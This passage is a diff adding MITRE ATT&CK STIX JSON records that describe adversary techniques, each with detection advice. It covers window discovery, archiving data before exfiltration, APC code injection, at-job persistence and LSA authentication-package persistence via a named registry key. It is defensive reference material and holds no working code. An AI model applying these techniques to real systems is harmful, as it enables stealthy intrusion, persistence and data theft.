"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Application Window Discovery", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Process: OS API Execution" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-26T15:44:27.068Z", + "created": "2017-05-31T21:30:24.512Z", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830", + "description": "Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1010", + "external_id": "T1010", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Application or System Exploitation", + "x_mitre_data_sources": [ + "Sensor Health: Host Status", + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow" + ], + "x_mitre_version": "1.1", + "modified": "2021-03-29T16:09:41.559Z", + "created": "2020-02-20T15:37:27.052Z", + "x_mitre_platforms": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Google Workspace" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--2bee5ffb-7a7a-4119-b1f2-158151b19ac0", + "description": "Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent DoS condition.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_detection": "Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack. Externally monitor the availability of services that may be targeted by an Endpoint DoS.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1499/004", + "external_id": "T1499.004", + "source_name": "mitre-attack" + }, + { + "url": "https://blog.sucuri.net/2015/08/bind9-denial-of-service-exploit-in-the-wild.html", + "description": "Cid, D.. (2015, August 2). BIND9 \u2013 Denial of Service Exploit in the Wild. Retrieved April 26, 2019.", + "source_name": "Sucuri BIND9 August 2015" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Archive Collected Data", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "File: File Creation", + "Script: Script Execution" + ], + "x_mitre_version": "1.0", + "modified": "2020-10-21T16:36:55.831Z", + "created": "2020-02-20T20:53:45.725Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", + "description": "An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.\n\nBoth compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "x_mitre_detection": "Archival software and archived files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\n\nA process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures.\n\nConsider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1560", + "external_id": "T1560", + "source_name": "mitre-attack" + }, + { + "source_name": "Wikipedia File Header Signatures", + "description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.", + "url": "https://en.wikipedia.org/wiki/List_of_file_signatures" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Archive via Custom Method", + "x_mitre_data_sources": [ + "File: File Creation", + "Script: Script Execution" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-25T22:48:14.605Z", + "created": "2020-02-20T21:09:55.995Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b", + "description": "An adversary may compress or encrypt data that is collected prior to exfiltration using a custom method. Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references. Custom implementations of well-known compression algorithms have also been used.(Citation: ESET Sednit Part 2)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "x_mitre_detection": "Custom archival methods can be very difficult to detect, since many of them use standard programming language concepts, such as bitwise operations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1560/003", + "external_id": "T1560.003", + "source_name": "mitre-attack" + }, + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Archive via Library", + "x_mitre_data_sources": [ + "File: File Creation", + "Script: Script Execution" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-29T18:27:30.891Z", + "created": "2020-02-20T21:08:52.529Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6", + "description": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github). Most libraries include functionality to encrypt and/or compress data.\n\nSome archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "x_mitre_detection": "Monitor processes for accesses to known archival libraries. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\n\nConsider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1560/002", + "external_id": "T1560.002", + "source_name": "mitre-attack" + }, + { + "url": "https://pypi.org/project/rarfile/", + "description": "mkz. (2020). rarfile 3.1. Retrieved February 20, 2020.", + "source_name": "PyPI RAR" + }, + { + "url": "https://libzip.org/", + "description": "D. Baron, T. Klausner. (2020). libzip. Retrieved February 20, 2020.", + "source_name": "libzip" + }, + { + "url": "https://github.com/madler/zlib", + "description": "madler. (2017). zlib. Retrieved February 20, 2020.", + "source_name": "Zlib Github" + }, + { + "source_name": "Wikipedia File Header Signatures", + "description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.", + "url": "https://en.wikipedia.org/wiki/List_of_file_signatures" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-25T21:54:37.374Z", + "name": "Archive via Utility", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "File: File Creation" + ], + "x_mitre_version": "1.0", + "created": "2020-02-20T21:01:25.428Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662", + "description": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities. Many utilities exist that can archive data, including 7-Zip(Citation: 7zip Homepage), WinRAR(Citation: WinRAR Homepage), and WinZip(Citation: WinZip Homepage). Most utilities include functionality to encrypt and/or compress data.\n\nSome 3rd party utilities may be preinstalled, such as `tar` on Linux and macOS or `zip` on Windows systems.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "x_mitre_detection": "Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\n\nConsider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1560/001", + "external_id": "T1560.001", + "source_name": "mitre-attack" + }, + { + "url": "https://www.7-zip.org/", + "description": "I. Pavlov. (2019). 7-Zip. Retrieved February 20, 2020.", + "source_name": "7zip Homepage" + }, + { + "url": "https://www.rarlab.com/", + "description": "A. Roshal. (2020). RARLAB. Retrieved February 20, 2020.", + "source_name": "WinRAR Homepage" + }, + { + "url": "https://www.winzip.com/win/en/", + "description": "Corel Corporation. (2020). WinZip. Retrieved February 20, 2020.", + "source_name": "WinZip Homepage" + }, + { + "source_name": "Wikipedia File Header Signatures", + "description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.", + "url": "https://en.wikipedia.org/wiki/List_of_file_signatures" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-04-20T19:27:46.484Z", + "name": "Asymmetric Cryptography", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.0", + "created": "2020-03-16T15:48:33.882Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", + "description": "Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver\u2019s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal.\n\nFor efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "x_mitre_detection": "SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1573/002", + "external_id": "T1573.002", + "source_name": "mitre-attack" + }, + { + "source_name": "SANS Decrypting SSL", + "description": "Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.", + "url": "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840" + }, + { + "source_name": "SEI SSL Inspection Risks", + "description": "Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.", + "url": "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Asynchronous Procedure Call", + "x_mitre_data_sources": [ + "Process: Process Modification", + "Process: OS API Execution", + "Process: Process Access" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-18T12:23:46.476Z", + "created": "2020-01-14T01:29:43.786Z", + "x_mitre_defense_bypassed": [ + "Application control", + "Anti-virus" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605", + "description": "Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process. \n\nAPC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point QueueUserAPC can be used to invoke a function (such as LoadLibrayA pointing to a malicious DLL). \n\nA variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1055/004", + "external_id": "T1055.004", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft APC", + "description": "Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December 8, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx" + }, + { + "source_name": "CyberBit Early Bird Apr 2018", + "description": "Gavriel, H. & Erbesfeld, B. (2018, April 11). New \u2018Early Bird\u2019 Code Injection Technique Discovered. Retrieved May 24, 2018.", + "url": "https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/" + }, + { + "source_name": "ENSIL AtomBombing Oct 2016", + "description": "Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE INJECTION FOR WINDOWS. Retrieved December 8, 2017.", + "url": "https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows" + }, + { + "source_name": "Microsoft Atom Table", + "description": "Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx" + }, + { + "source_name": "Elastic Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "At (Linux)", + "x_mitre_data_sources": [ + "Scheduled Job: Scheduled Job Creation", + "Command: Command Execution", + "Process: Process Creation" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-15T14:36:26.063Z", + "created": "2019-12-03T12:59:36.749Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--6636bc83-0611-45a6-b74f-1f3daf635b8e", + "description": "Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)\n\nAn adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.\n\nAdversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)", + "x_mitre_remote_support": true, + "x_mitre_detection": "Monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nReview all jobs using the atq command and ensure IP addresses stored in the SSH_CONNECTION and SSH_CLIENT variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/.(Citation: rowland linux at 2019)\n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1053/001", + "external_id": "T1053.001", + "source_name": "mitre-attack" + }, + { + "url": "https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/", + "description": "Koromicha. (2019, September 7). Scheduling tasks using at command in Linux. Retrieved December 3, 2019.", + "source_name": "Kifarunix - Task Scheduling in Linux" + }, + { + "url": "https://gtfobins.github.io/gtfobins/at/", + "description": "Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved September 28, 2021.", + "source_name": "GTFObins at" + }, + { + "url": "https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/", + "description": "Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021.", + "source_name": "rowland linux at 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "At (Windows)", + "x_mitre_data_sources": [ + "Scheduled Job: Scheduled Job Creation", + "Command: Command Execution", + "File: File Modification", + "Process: Process Creation" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-24T13:43:40.776Z", + "created": "2019-11-27T13:52:45.853Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "id": "attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator" + ], + "description": "Adversaries may abuse the at.exe utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows for scheduling tasks at a specified time and date. Using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group. \n\nAn adversary may use at.exe in Windows environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account (such as SYSTEM).\n\nNote: The at.exe command line utility has been deprecated in current versions of Windows in favor of schtasks.", + "x_mitre_remote_support": true, + "x_mitre_detection": "Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1053/002", + "external_id": "T1053.002", + "source_name": "mitre-attack" + }, + { + "source_name": "Twitter Leoloobeek Scheduled Task", + "description": "Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017.", + "url": "https://twitter.com/leoloobeek/status/939248813465853953" + }, + { + "source_name": "TechNet Forum Scheduled Task Operational Setting", + "description": "Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.", + "url": "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen" + }, + { + "source_name": "TechNet Scheduled Task Events", + "description": "Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017.", + "url": "https://technet.microsoft.com/library/dd315590.aspx" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events", + "description": "Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019.", + "source_name": "Microsoft Scheduled Task Events Win10" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Audio Capture", + "x_mitre_data_sources": [ + "Process: OS API Execution", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2020-07-14T19:42:10.235Z", + "created": "2017-05-31T21:31:34.528Z", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "description": "An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "x_mitre_detection": "Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1123", + "external_id": "T1123", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/634.html", + "external_id": "CAPEC-634", + "source_name": "capec" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-01-24T15:43:25.280Z", + "name": "Authentication Package", + "created": "2017-05-31T21:31:43.135Z", + "id": "attack-pattern--52d40641-c480-4ad5-81a3-c80ccaddf82d", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1131", + "external_id": "T1131", + "source_name": "mitre-attack" + }, + { + "source_name": "MSDN Authentication Packages", + "description": "Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx" + }, + { + "source_name": "Graeber 2014", + "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.", + "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html" + }, + { + "source_name": "Microsoft Configure LSA", + "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.", + "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Authentication Package", + "x_mitre_data_sources": [ + "Windows Registry: Windows Registry Key Modification", + "Module: Module Load", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-25T15:11:25.821Z", + "created": "2020-01-24T14:54:42.757Z", + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--b8cfed42-6a8a-4989-ad72-541af74475ec", + "description": "Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ with the key value of \"Authentication Packages\"=<target binary>. The binary will then be executed by the system when the authentication packages are loaded.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_detection": "Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1547/002", + "external_id": "T1547.002", + 